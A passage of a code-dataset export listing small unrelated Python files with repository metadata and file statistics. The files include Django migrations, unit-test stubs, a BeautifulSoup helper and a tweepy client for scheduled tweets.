def extra_path(self):
return fake_privacy_violator.path(self.__enter_mock)
def set_result(self, value):
self.__result = value
def throwing(self, exception_factory):
pass
def result(self):
return self
def __repr__(self):
return f'Synchronous({self.__result})'
| 23.235294
| 67
| 0.655696
| 98
| 790
| 4.816327
| 0.377551
| 0.084746
| 0.082627
| 0.084746
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.005034
| 0.24557
| 790
| 33
| 68
| 23.939394
| 0.786913
| 0
| 0
| 0.08
| 0
| 0
| 0.062025
| 0.062025
| 0
| 0
| 0
| 0
| 0
| 1
| 0.32
| false
| 0.08
| 0.16
| 0.12
| 0.68
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 1
| 0
|
0
| 4
|
b2f9de3d862f3e53fdadae582fb2030f619c41f1
| 196
|
py
|
Python
|
Company-Based/comcast/prob_1.py
|
saisankargochhayat/algo_quest
|
a24f9a22c019ab31d56bd5a7ca5ba790d54ce5dc
|
[
"Apache-2.0"
] | 3
|
2017-02-15T20:55:04.000Z
|
2018-09-26T18:48:24.000Z
|
Company-Based/comcast/prob_1.py
|
saisankargochhayat/algo_quest
|
a24f9a22c019ab31d56bd5a7ca5ba790d54ce5dc
|
[
"Apache-2.0"
] | 4
|
2017-10-07T18:59:20.000Z
|
2019-10-08T05:43:25.000Z
|
Company-Based/comcast/prob_1.py
|
saisankargochhayat/algo_quest
|
a24f9a22c019ab31d56bd5a7ca5ba790d54ce5dc
|
[
"Apache-2.0"
] | 1
|
2017-10-08T06:52:21.000Z
|
2017-10-08T06:52:21.000Z
|
def minimumMovement(obstacleLanes):
# Write your code here
pass
minimumMovement([2, 3, 2, 1, 3, 1]) # 2
minimumMovement([2, 1, 3, 3, 3, 1]) # 2
minimumMovement([3, 2, 2, 1, 2, 1]) # 1
| 24.5
| 40
| 0.602041
| 32
| 196
| 3.6875
| 0.34375
| 0.067797
| 0.050847
| 0.305085
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.138158
| 0.22449
| 196
| 8
| 41
| 24.5
| 0.638158
| 0.132653
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.125
| 0
| 1
| 0.2
| false
| 0.2
| 0
| 0
| 0.2
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 4
|
6544c815173883eae4d3ddfbe93408b34e70ed0f
| 49
|
py
|
Python
|
Apteki/__init__.py
|
Daneev/Django_test
|
7c0cf5ab28b3faba3cd8dfad60a3194a3eff11d6
|
[
"Apache-2.0"
] | null | null | null |
Apteki/__init__.py
|
Daneev/Django_test
|
7c0cf5ab28b3faba3cd8dfad60a3194a3eff11d6
|
[
"Apache-2.0"
] | null | null | null |
Apteki/__init__.py
|
Daneev/Django_test
|
7c0cf5ab28b3faba3cd8dfad60a3194a3eff11d6
|
[
"Apache-2.0"
] | null | null | null |
default_app_config = "Apteki.apps.LekarstvConfig"
| 49
| 49
| 0.857143
| 6
| 49
| 6.666667
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.040816
| 49
| 1
| 49
| 49
| 0.851064
| 0
| 0
| 0
| 0
| 0
| 0.52
| 0.52
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
6545b22338d6199be95f722fa9496596299b278c
| 152
|
py
|
Python
|
murmansk_culture_api/scraping/utils.py
|
anorlovsky/murmansk-culture-api
|
de9f0be2eb5cac8315af14648f5af2278520d8ed
|
[
"MIT"
] | null | null | null |
murmansk_culture_api/scraping/utils.py
|
anorlovsky/murmansk-culture-api
|
de9f0be2eb5cac8315af14648f5af2278520d8ed
|
[
"MIT"
] | null | null | null |
murmansk_culture_api/scraping/utils.py
|
anorlovsky/murmansk-culture-api
|
de9f0be2eb5cac8315af14648f5af2278520d8ed
|
[
"MIT"
] | null | null | null |
import requests
from bs4 import BeautifulSoup
def fetch_html(url: str):
res = requests.get(url)
return BeautifulSoup(res.text, "html.parser")
| 19
| 49
| 0.736842
| 21
| 152
| 5.285714
| 0.714286
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.007874
| 0.164474
| 152
| 7
| 50
| 21.714286
| 0.866142
| 0
| 0
| 0
| 0
| 0
| 0.072368
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.2
| false
| 0
| 0.4
| 0
| 0.8
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
654c386ffc7687abb2c21cb7135f69163f45d849
| 46
|
py
|
Python
|
.venv/Lib/site-packages/IPython/utils/_sysinfo.py
|
mehfoos/Nuclear-Fusion
|
9540997fcfc0768b9e2ce16e0a091ea38997d32a
|
[
"BSD-3-Clause"
] | 4
|
2021-11-19T03:25:13.000Z
|
2022-02-24T15:32:30.000Z
|
.venv/Lib/site-packages/IPython/utils/_sysinfo.py
|
mehfoos/Nuclear-Fusion
|
9540997fcfc0768b9e2ce16e0a091ea38997d32a
|
[
"BSD-3-Clause"
] | null | null | null |
.venv/Lib/site-packages/IPython/utils/_sysinfo.py
|
mehfoos/Nuclear-Fusion
|
9540997fcfc0768b9e2ce16e0a091ea38997d32a
|
[
"BSD-3-Clause"
] | null | null | null |
# GENERATED BY setup.py
commit = u"e76fa004a"
| 15.333333
| 23
| 0.73913
| 7
| 46
| 4.857143
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.128205
| 0.152174
| 46
| 2
| 24
| 23
| 0.74359
| 0.456522
| 0
| 0
| 1
| 0
| 0.391304
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
3319389d432879e26b56ccad79ecb365b48753d7
| 1,011
|
py
|
Python
|
fahari/common/migrations/0017_auto_20210727_1306.py
|
savannahghi/mle
|
4d65f8a573935d39700a0d6f8a8eb79cb5640288
|
[
"MIT"
] | 2
|
2021-09-14T07:14:27.000Z
|
2022-01-06T12:21:34.000Z
|
fahari/common/migrations/0017_auto_20210727_1306.py
|
savannahghi/fahari
|
4d65f8a573935d39700a0d6f8a8eb79cb5640288
|
[
"MIT"
] | 1
|
2022-02-27T18:03:17.000Z
|
2022-02-27T18:03:17.000Z
|
fahari/common/migrations/0017_auto_20210727_1306.py
|
savannahghi/mle
|
4d65f8a573935d39700a0d6f8a8eb79cb5640288
|
[
"MIT"
] | 2
|
2022-03-12T13:25:09.000Z
|
2022-03-21T08:44:33.000Z
|
# Generated by Django 3.2.5 on 2021-07-27 10:06
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('common', '0016_alter_facility_mfl_code'),
]
operations = [
migrations.RemoveField(
model_name='facilityuser',
name='aspect_ratio',
),
migrations.RemoveField(
model_name='facilityuser',
name='content_type',
),
migrations.RemoveField(
model_name='facilityuser',
name='creation_date',
),
migrations.RemoveField(
model_name='facilityuser',
name='data',
),
migrations.RemoveField(
model_name='facilityuser',
name='description',
),
migrations.RemoveField(
model_name='facilityuser',
name='size',
),
migrations.RemoveField(
model_name='facilityuser',
name='title',
),
]
| 24.071429
| 51
| 0.535114
| 81
| 1,011
| 6.506173
| 0.493827
| 0.278937
| 0.345351
| 0.398482
| 0.611006
| 0.611006
| 0
| 0
| 0
| 0
| 0
| 0.029231
| 0.357072
| 1,011
| 41
| 52
| 24.658537
| 0.781538
| 0.04451
| 0
| 0.6
| 1
| 0
| 0.185685
| 0.029046
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.028571
| 0
| 0.114286
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
331ee7474b3fe81795bfd41f4e15404c56d3441e
| 272
|
py
|
Python
|
DMOJ/CCC/trident.py
|
eddiegz/Personal-C
|
f7869826216e5c665f8f646502141f0dc680e545
|
[
"MIT"
] | 3
|
2021-05-15T08:18:09.000Z
|
2021-05-17T04:41:57.000Z
|
DMOJ/CCC/trident.py
|
eddiegz/Personal-C
|
f7869826216e5c665f8f646502141f0dc680e545
|
[
"MIT"
] | null | null | null |
DMOJ/CCC/trident.py
|
eddiegz/Personal-C
|
f7869826216e5c665f8f646502141f0dc680e545
|
[
"MIT"
] | null | null | null |
t=int(input('Enter tine length: '))
s=int(input('Enter tine spacing: '))
h=int(input('Enter handle length: '))
for i in range(0,t):
print('*',(s-2)*' ','*',(s-2)*' ','*')
print('*'*3*s)
for i in range(0,h):
print(' '*(s),'*')
| 34
| 47
| 0.452206
| 40
| 272
| 3.075
| 0.45
| 0.195122
| 0.317073
| 0.276423
| 0.195122
| 0
| 0
| 0
| 0
| 0
| 0
| 0.025
| 0.264706
| 272
| 8
| 48
| 34
| 0.59
| 0
| 0
| 0
| 0
| 0
| 0.255639
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0
| null | null | 0.375
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
334051af7691c9ea639b40a10abf69a78729fe52
| 756
|
py
|
Python
|
py_ice_cascade/tests/test_main.py
|
keithfma/py_ice_cascade
|
22fe9d51777c52dfff7cce2be9f3ed1b3c6f8bc2
|
[
"MIT"
] | null | null | null |
py_ice_cascade/tests/test_main.py
|
keithfma/py_ice_cascade
|
22fe9d51777c52dfff7cce2be9f3ed1b3c6f8bc2
|
[
"MIT"
] | null | null | null |
py_ice_cascade/tests/test_main.py
|
keithfma/py_ice_cascade
|
22fe9d51777c52dfff7cce2be9f3ed1b3c6f8bc2
|
[
"MIT"
] | null | null | null |
"""
Unit tests for Python ICE-CASCADE core model
"""
import unittest
import numpy as np
import py_ice_cascade
class model_TestCase(unittest.TestCase):
def test_irregular_grid(self):
"""Expect failure if grid is not regular"""
# TODO: implement
pass
def test_output_steps(self):
"""Expect output steps to include 1st and last step"""
# TODO: implement
pass
def test_disable_hillslope(self):
"""Confirm ability to disable the hillslope component model"""
# TODO: implement
pass
def test_disable_uplift(self):
"""Confirm ability to disable the uplift component model"""
# TODO: implement
pass
if __name__ == '__main__':
unittest.main()
| 22.909091
| 70
| 0.648148
| 92
| 756
| 5.119565
| 0.51087
| 0.059448
| 0.144374
| 0.127389
| 0.40552
| 0.259023
| 0
| 0
| 0
| 0
| 0
| 0.001808
| 0.268519
| 756
| 32
| 71
| 23.625
| 0.84991
| 0.406085
| 0
| 0.285714
| 0
| 0
| 0.019139
| 0
| 0
| 0
| 0
| 0.03125
| 0
| 1
| 0.285714
| false
| 0.285714
| 0.214286
| 0
| 0.571429
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 1
| 0
|
0
| 4
|
3367f134997b6ce10ab3d3002c8a3e1a9cc30426
| 5,571
|
py
|
Python
|
ScheduleTweet/base.py
|
StawaDev/ScheduleTweet
|
50d09e66e46a9b73160806cbc4b0028da7aa9d2a
|
[
"MIT"
] | null | null | null |
ScheduleTweet/base.py
|
StawaDev/ScheduleTweet
|
50d09e66e46a9b73160806cbc4b0028da7aa9d2a
|
[
"MIT"
] | null | null | null |
ScheduleTweet/base.py
|
StawaDev/ScheduleTweet
|
50d09e66e46a9b73160806cbc4b0028da7aa9d2a
|
[
"MIT"
] | null | null | null |
import tweepy
import schedule
from datetime import datetime
from typing import Optional
import json
now = datetime.now()
time = now.strftime("%H:%M:%S")
class TweetClient:
def __init__(
self,
consumer_key: str,
consumer_secret: str,
access_token: str,
access_token_secret: str,
bearer_token: str,
):
self.consumer_key = consumer_key
self.consumer_secret = consumer_secret
self.access_token = access_token
self.access_token_secret = access_token_secret
self.bearer_token = bearer_token
async def data(self):
Json = {
"TweetClient Data Information": {
"Consumer_Key": f"{self.consumer_key}",
"Consumer_Secret": f"{self.consumer_secret}",
"Access_Token": f"{self.access_token}",
"Access_Token_Secret": f"{self.access_token_secret}",
"Bearer_Token": f"{self.bearer_token}",
}
}
return f"{json.dumps(Json, indent=4)}"
async def send_tweet(self, message: str):
"""
Currently using Twitter API v2
"""
client = tweepy.Client(
bearer_token=self.bearer_token,
consumer_key=self.consumer_key,
consumer_secret=self.consumer_secret,
access_token=self.access_token,
access_token_secret=self.access_token_secret,
)
client.create_tweet(text=message)
return f"[ {time} ] - Sended! with messages: " + message
async def send_tweet_media(
self, message: Optional[str], media: str, media_2: Optional[str] = None
) -> str:
"""
Currently using Twitter API Elevated Access
"""
auth = tweepy.OAuthHandler(self.consumer_key, self.consumer_secret)
auth.set_access_token(self.access_token, self.access_token_secret)
api = tweepy.API(auth)
data = api.media_upload(media)
client = tweepy.Client(
bearer_token=self.bearer_token,
consumer_key=self.consumer_key,
consumer_secret=self.consumer_secret,
access_token=self.access_token,
access_token_secret=self.access_token_secret,
)
if not media_2:
client.create_tweet(text=message, media_ids=[data.media_id_string])
return f"Information of the media uploaded: \nMediaID: {str(data.media_id)} \nMedia Size: {str(data.size)} \nMedia Type: {str(data.image['image_type'])}"
if media_2:
data2 = api.media_upload(media_2)
client.create_tweet(
text=message, media_ids=[data.media_id_string, data2.media_id_string]
)
return f"Information of the media uploaded ({media}): \nMediaID: {str(data.media_id)} \nMedia Size: {str(data.size)} \nMedia Type: {str(data.image['image_type'])} \n\nInformation of the media uploaded ({media_2}): \nMediaID: {str(data2.media_id)} \nMedia Size: {str(data2.size)} \nMedia Type: {str(data2.image['image_type'])}"
async def schedule_send(self, message: str, timer: str) -> str:
"""
Currently using Twitter API Elevated Access
"""
def da():
client = tweepy.Client(
bearer_token=self.bearer_token,
consumer_key=self.consumer_key,
consumer_secret=self.consumer_secret,
access_token=self.access_token,
access_token_secret=self.access_token_secret,
)
client.create_tweet(text=message)
print(f"[ {time} ] - Sended! with messages: " + message)
schedule.every().day.at(timer).do(da)
while True:
schedule.run_pending()
async def schedule_media_send(
self, message: Optional[str], media: str, media_2: Optional[str], time: str
) -> str:
"""
Currently using Twitter API Elevated Access
"""
def al():
auth = tweepy.OAuthHandler(self.consumer_key, self.consumer_secret)
auth.set_access_token(self.access_token, self.access_token_secret)
api = tweepy.API(auth)
data = api.media_upload(media)
client = tweepy.Client(
bearer_token=self.bearer_token,
consumer_key=self.consumer_key,
consumer_secret=self.consumer_secret,
access_token=self.access_token,
access_token_secret=self.access_token_secret,
)
if not media_2:
client.create_tweet(text=message, media_ids=[data.media_id_string])
print(
f"Information of the media uploaded: \nMediaID: {str(data.media_id)} \nMedia Size: {str(data.size)} \nMedia Type: {str(data.image['image_type'])}"
)
if media_2:
data2 = api.media_upload(media_2)
client.create_tweet(
text=message,
media_ids=[data.media_id_string, data2.media_id_string],
)
print(
f"Information of the media uploaded ({media}): \nMediaID: {str(data.media_id)} \nMedia Size: {str(data.size)} \nMedia Type: {str(data.image['image_type'])} \n\nInformation of the media uploaded ({media_2}): \nMediaID: {str(data2.media_id)} \nMedia Size: {str(data2.size)} \nMedia Type: {str(data2.image['image_type'])}"
)
schedule.every().day.at(time).do(al)
while True:
schedule.run_pending()
| 39.792857
| 339
| 0.599533
| 649
| 5,571
| 4.912173
| 0.12943
| 0.110414
| 0.075282
| 0.059285
| 0.804266
| 0.746863
| 0.707967
| 0.695107
| 0.695107
| 0.665621
| 0
| 0.005585
| 0.292946
| 5,571
| 139
| 340
| 40.079137
| 0.803757
| 0
| 0
| 0.468468
| 0
| 0.036036
| 0.231189
| 0.052295
| 0
| 0
| 0
| 0
| 0
| 1
| 0.027027
| false
| 0
| 0.045045
| 0
| 0.117117
| 0.027027
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
683227e4c3ea5a84ab3313a4639cc49958e633fe
| 136
|
py
|
Python
|
examples/writing/rtf15.py
|
eriol/pyth
|
f2a06fc8dc9b1cfc439ea14252d39b9845a7fa4b
|
[
"MIT"
] | 47
|
2015-01-26T22:06:53.000Z
|
2022-01-04T15:11:14.000Z
|
examples/writing/rtf15.py
|
eriol/pyth
|
f2a06fc8dc9b1cfc439ea14252d39b9845a7fa4b
|
[
"MIT"
] | 16
|
2015-02-20T18:12:22.000Z
|
2021-12-17T09:49:19.000Z
|
examples/writing/rtf15.py
|
eriol/pyth
|
f2a06fc8dc9b1cfc439ea14252d39b9845a7fa4b
|
[
"MIT"
] | 45
|
2015-01-29T02:47:39.000Z
|
2022-01-26T12:50:27.000Z
|
from pyth.plugins.rtf15.writer import Rtf15Writer
import pythonDoc
doc = pythonDoc.buildDoc()
print Rtf15Writer.write(doc).getvalue()
| 19.428571
| 49
| 0.808824
| 17
| 136
| 6.470588
| 0.764706
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.04878
| 0.095588
| 136
| 6
| 50
| 22.666667
| 0.845528
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0.5
| null | null | 0.25
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
686cb98659d5189bc7321dfa9fd4325dd6b46843
| 208
|
py
|
Python
|
open_bus_siri_etl/config.py
|
hasadna/open-bus-siri-etl
|
93588cc23355af14b4b626b42cdb11477e3b6995
|
[
"MIT"
] | null | null | null |
open_bus_siri_etl/config.py
|
hasadna/open-bus-siri-etl
|
93588cc23355af14b4b626b42cdb11477e3b6995
|
[
"MIT"
] | 1
|
2022-02-08T15:18:38.000Z
|
2022-02-09T13:35:06.000Z
|
open_bus_siri_etl/config.py
|
hasadna/open-bus-siri-etl
|
93588cc23355af14b4b626b42cdb11477e3b6995
|
[
"MIT"
] | null | null | null |
import os
from open_bus_siri_requester.config import OPEN_BUS_SIRI_STORAGE_ROOTPATH
DEBUG = os.environ.get('DEBUG') == 'yes'
OPEN_BUS_SIRI_ETL_ROOTPATH = os.path.join(OPEN_BUS_SIRI_STORAGE_ROOTPATH, 'etl')
| 29.714286
| 80
| 0.822115
| 34
| 208
| 4.588235
| 0.5
| 0.179487
| 0.282051
| 0.230769
| 0.333333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.081731
| 208
| 6
| 81
| 34.666667
| 0.816754
| 0
| 0
| 0
| 0
| 0
| 0.052885
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.5
| 0
| 0.5
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
689591f5cfc48fca6eb764ca03b4ac99063279ec
| 1,700
|
py
|
Python
|
test/test_wham.py
|
markovmodel/pyfeat
|
ee5cb6bd0f2c1900f7fc2665e83d4f152b167465
|
[
"BSD-2-Clause"
] | 4
|
2015-03-20T13:09:14.000Z
|
2019-03-14T10:42:52.000Z
|
test/test_wham.py
|
markovmodel/pyfeat
|
ee5cb6bd0f2c1900f7fc2665e83d4f152b167465
|
[
"BSD-2-Clause"
] | 20
|
2015-02-03T13:14:46.000Z
|
2015-03-15T23:35:14.000Z
|
test/test_wham.py
|
markovmodel/pyfeat
|
ee5cb6bd0f2c1900f7fc2665e83d4f152b167465
|
[
"BSD-2-Clause"
] | null | null | null |
################################################################################
#
# test_wham.py - testing the pyfeat wham class
#
# author: Christoph Wehmeyer <christoph.wehmeyer@fu-berlin.de>
# author: Antonia Mey <antonia.mey@fu-berlin.de>
#
################################################################################
from nose.tools import assert_raises, assert_true
from pyfeat.estimator import WHAM
from pytram import ExpressionError, NotConvergedWarning
import numpy as np
#WHAM testing
def test_expression_error_None():
assert_raises( ExpressionError, WHAM, np.ones( shape=(2,3,3), dtype=np.intc ), None )
def test_expression_error_int():
assert_raises( ExpressionError, WHAM, np.ones( shape=(2,3,3), dtype=np.intc ), 5 )
def test_expression_error_list():
assert_raises( ExpressionError, WHAM, np.ones( shape=(2,3,3), dtype=np.intc ), [1,2] )
def test_expression_error_dim():
assert_raises( ExpressionError, WHAM, np.ones( shape=(2,3,3), dtype=np.intc ), np.ones( shape=(2,2,2), dtype=np.float64 ) )
def test_expression_error_markov():
assert_raises( ExpressionError, WHAM, np.ones( shape=(2,3,3), dtype=np.intc ), np.ones( shape=(2,2), dtype=np.float64 ) )
def test_expression_error_therm():
assert_raises( ExpressionError, WHAM, np.ones( shape=(2,3,3), dtype=np.intc ), np.ones( shape=(1,3), dtype=np.float64 ) )
def test_expression_error_int16():
assert_raises( ExpressionError, WHAM, np.ones( shape=(2,3,3), dtype=np.intc ), np.ones( shape=(2,3), dtype=np.int16 ) )
def test_expression_error_float32():
assert_raises( ExpressionError, WHAM, np.ones( shape=(2,3,3), dtype=np.intc ), np.ones( shape=(2,3), dtype=np.float32 ) )
| 34.693878
| 127
| 0.649412
| 237
| 1,700
| 4.510549
| 0.206751
| 0.072965
| 0.13377
| 0.134705
| 0.593078
| 0.593078
| 0.593078
| 0.559401
| 0.559401
| 0.491113
| 0
| 0.034736
| 0.119412
| 1,700
| 48
| 128
| 35.416667
| 0.679359
| 0.098824
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.45
| 1
| 0.4
| true
| 0
| 0.2
| 0
| 0.6
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 1
| 1
| 0
| 0
| 0
| 1
| 0
|
0
| 4
|
68a80da701a261f713158538198fa6ed4fb36c9c
| 224
|
py
|
Python
|
crafters/nlp/DeepSegmenter/tests/test_deepsegmenter.py
|
bhavsarpratik/jina-hub
|
5d9a804f768e6e8042bbdc0a15fa9d3b8b68ddda
|
[
"Apache-2.0"
] | null | null | null |
crafters/nlp/DeepSegmenter/tests/test_deepsegmenter.py
|
bhavsarpratik/jina-hub
|
5d9a804f768e6e8042bbdc0a15fa9d3b8b68ddda
|
[
"Apache-2.0"
] | null | null | null |
crafters/nlp/DeepSegmenter/tests/test_deepsegmenter.py
|
bhavsarpratik/jina-hub
|
5d9a804f768e6e8042bbdc0a15fa9d3b8b68ddda
|
[
"Apache-2.0"
] | null | null | null |
class TestClass:
def test_deepsegmenter(self):
"""here is my test code
https://docs.pytest.org/en/stable/getting-started.html#create-your-first-test
"""
# no test now
assert True
| 24.888889
| 85
| 0.611607
| 29
| 224
| 4.689655
| 0.896552
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.276786
| 224
| 8
| 86
| 28
| 0.839506
| 0.5
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.333333
| 1
| 0.333333
| false
| 0
| 0
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 4
|
68b478113afcf25a47c206407948c764112f40d2
| 843
|
py
|
Python
|
cloudfunc_cli/commands/base.py
|
jadbin/cloudfunc-cli
|
1a5d522acff67afbf323c80d176bd5591bde88b9
|
[
"MIT"
] | null | null | null |
cloudfunc_cli/commands/base.py
|
jadbin/cloudfunc-cli
|
1a5d522acff67afbf323c80d176bd5591bde88b9
|
[
"MIT"
] | null | null | null |
cloudfunc_cli/commands/base.py
|
jadbin/cloudfunc-cli
|
1a5d522acff67afbf323c80d176bd5591bde88b9
|
[
"MIT"
] | null | null | null |
# coding=utf-8
from os.path import join, isfile
from dotenv import load_dotenv
class Command:
def __init__(self):
self.exitcode = 0
@property
def name(self):
return ""
@property
def syntax(self):
return ""
@property
def short_desc(self):
return ""
@property
def long_desc(self):
return self.short_desc
def add_arguments(self, parser):
pass
def process_arguments(self, args):
pass
def run(self, args):
raise NotImplementedError
def load_env(project_dir: str, env: str = None):
default_env_file = join(project_dir, '.cloudfunc.env')
if isfile(default_env_file):
load_dotenv(default_env_file)
if env:
env_file = join(project_dir, '.cloudfunc.env.{}'.format(env))
load_dotenv(env_file)
| 18.733333
| 69
| 0.625148
| 107
| 843
| 4.700935
| 0.411215
| 0.069583
| 0.107356
| 0.125249
| 0.131213
| 0.131213
| 0.131213
| 0
| 0
| 0
| 0
| 0.003279
| 0.276394
| 843
| 44
| 70
| 19.159091
| 0.821311
| 0.014235
| 0
| 0.3
| 0
| 0
| 0.037394
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.3
| false
| 0.066667
| 0.066667
| 0.133333
| 0.533333
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 1
| 0
|
0
| 4
|
d7bcb6a422ead3b7d26327493ce3b9dc15d47739
| 429
|
py
|
Python
|
reg/__init__.py
|
nandoflorestan/reg
|
04779923d5f9dcf71cbc7f61f17d3994575476f7
|
[
"BSD-3-Clause"
] | null | null | null |
reg/__init__.py
|
nandoflorestan/reg
|
04779923d5f9dcf71cbc7f61f17d3994575476f7
|
[
"BSD-3-Clause"
] | null | null | null |
reg/__init__.py
|
nandoflorestan/reg
|
04779923d5f9dcf71cbc7f61f17d3994575476f7
|
[
"BSD-3-Clause"
] | null | null | null |
# flake8: noqa
from .dispatch import dispatch, Dispatch, LookupEntry
from .context import (dispatch_method, DispatchMethod,
methodify, clean_dispatch_methods)
from .arginfo import arginfo
from .error import RegistrationError
from .predicate import (Predicate, KeyIndex, ClassIndex,
match_key, match_instance, match_class)
from .cache import DictCachingKeyLookup, LruCachingKeyLookup
| 42.9
| 63
| 0.750583
| 43
| 429
| 7.348837
| 0.581395
| 0.088608
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.002899
| 0.195804
| 429
| 9
| 64
| 47.666667
| 0.913043
| 0.027972
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.75
| 0
| 0.75
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
d7fb663123ca490656d5baf342dabfdab3fcb6fd
| 19
|
py
|
Python
|
wok/__init__.py
|
abbgrade/wok
|
a5ff92b13f825023b84e75e4e016cf96e2c5d302
|
[
"MIT"
] | 38
|
2015-01-06T03:41:51.000Z
|
2019-09-18T22:06:28.000Z
|
wok/__init__.py
|
abbgrade/wok
|
